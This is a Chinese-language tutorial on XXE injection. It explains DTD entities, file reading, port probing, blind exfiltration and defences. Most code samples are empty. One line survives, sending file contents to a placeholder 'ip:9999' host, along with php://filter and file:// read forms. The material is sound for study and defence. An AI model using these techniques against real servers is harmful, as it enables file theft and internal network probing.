XML外部实体注入从入门到入土
XML外部实体注入从入门到入土
XXE Injection即XML External Entity Injection,也就是XML外部实体注入攻击
XML
XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
XXE
什么是XXE
XXE(XML External Entity Injection) 全称为 XML 外部实体注入
为什么会存在XXE
这需要从xml的结构说起
1 |
|
其中,xml外部实体注入就针对的是这里的<!DOCTYPE>
即DTD。
DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。
看到外部引用就明白了 这就是所谓的“外部实体注入”
在”外部引用“这个地方就可进行各种手脚了 引用系统的文件代替dtd,又或者是引用网络文件,利用引用的过程进行get/post来传出信息、探测内网的服务器,探测其他的服务器端口等等等等…
xxe漏洞总之前提得允许引用外部实体 不允许就吹了
DTD详解
示例代码:
1 |
|
上面这个 DTD 就定义了 XML 的根元素是 message,然后跟元素下面有一些子元素,那么 XML 到时候必须像下面这么写
示例代码:
1 |
|
其实除了在 DTD 中定义元素(其实就是对应 XML 中的标签)以外,我们还能在 DTD 中定义实体(对应XML 标签中的内容),毕竟 ML 中除了能标签以外,还需要有些内容是固定的
示例代码:
1 |
|
这里 定义元素为 ANY 说明接受任何元素,但是定义了一个 xml 的实体(这是我们在这篇文章中第一次看到实体的真面目,实体其实可以看成一个变量,到时候我们可以在 XML 中通过 & 符号进行引用),那么 XML 就可以写成这样
示例代码:
1 |
|
我们使用 &xxe 对 上面定义的 xxe 实体进行了引用,到时候输出的时候 &xxe 就会被 “test” 替换。
重点:
重点一:
实体分为两种,内部实体和外部实体,上面我们举的例子就是内部实体,但是实体实际上可以从外部的 dtd 文件中引用,我们看下面的代码:
示例代码:
1 |
|
这样对引用资源所做的任何更改都会在文档中自动更新,非常方便(方便永远是安全的敌人)
当然,还有一种引用方式是使用 引用公用 DTD 的方法,语法如下:<!DOCTYPE 根元素名称 PUBLIC “DTD标识名” “公用DTD的URI”>
这个在我们的攻击中也可以起到和 SYSTEM 一样的作用
重点二:
我们上面已经将实体分成了两个派别(内部实体和外部外部),但是实际上从另一个角度看,实体也可以分成两个派别(通用实体和参数实体)
1.通用实体
用 &实体名; 引用的实体,他在DTD 中定义,在 XML 文档中引用
示例代码:
1 |
|
2.参数实体:
(1)使用 % 实体名
(这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用 %实体名
; 引用
(2)只有在 DTD 文件中,参数实体的声明才能引用其他实体
(3)和通用实体一样,参数实体也可以外部引用
示例代码:
1 |
|
抛转:
参数实体在我们 Blind XXE 中起到了至关重要的作用
常见的外部实体
外部实体有SYSTEM和PUBLIC两个关键字,表示实体来自本地计算机还是公共计算机,外部实体的引用可以借助各种协议,比如如下的三种:
- file:///file.ext
- http://url
- php://filter/read=convert.base64-encode/resource=conf.php
XXE漏洞应用
既然XML可以从外部读取DTD文件,那我们就自然地想到了如果将路径换成另一个文件的路径,那么服务器在解析这个XML的时候就会把那个文件的内容赋值给SYSTEM前面的根元素中,只要我们在XML中让前面的根元素的内容显示出来,不就可以读取那个文件的内容了。这就造成了一个任意文件读取的漏洞。
那如果我们指向的是一个内网主机的端口呢?是否会给出错误信息,我们是不是可以从错误信息上来判断内网主机这个端口是否开放,这就造成了一个内部端口被探测的问题。另外,一般来说,服务器解析XML有两种方式,一种是一次性将整个XML加载进内存中,进行解析;另一种是一部分一部分的、“流式”地加载、解析。如果我们递归地调用XML定义,一次性调用巨量的定义,那么服务器的内存就会被消耗完,造成了拒绝服务攻击。
有回显读取本地文件
1 |
|
payload
1 |
|
无回显读取本地文件
利用send SYSTEM
将回显发送至远程服务器
通过引用外部实体test.dtd将回显发送至远程服务器
1 |
|
payload
1 |
|
实现流程:定义了% remote
的参数实体,后引用加载远程的test.dtd,再引用了test.dtd中的% int
参数实体。% int
参数实体加载了<!ENTITY % send SYSTEM 'http://ip:9999?p=%file;'>
这一段作为% send
实体,最后引用% send
构造get请求远程服务器在参数p中传递了实体% file
读出来的信息
想更进一步的利用我们不能将眼光局限于 file 协议,我们必须清楚地知道在何种平台,我们能用何种协议
常见平台各种协议一览表
以及php在安装扩展之后支持的更多协议
防御XXE攻击
方案一:直接禁用外部实体
1 |
|
1 |
|
1 |
|
方案二:黑名单过滤(不推荐)
过滤诸如此类注入必须的关键词:<!DOCTYPE、<!ENTITY SYSTEM、PUBLIC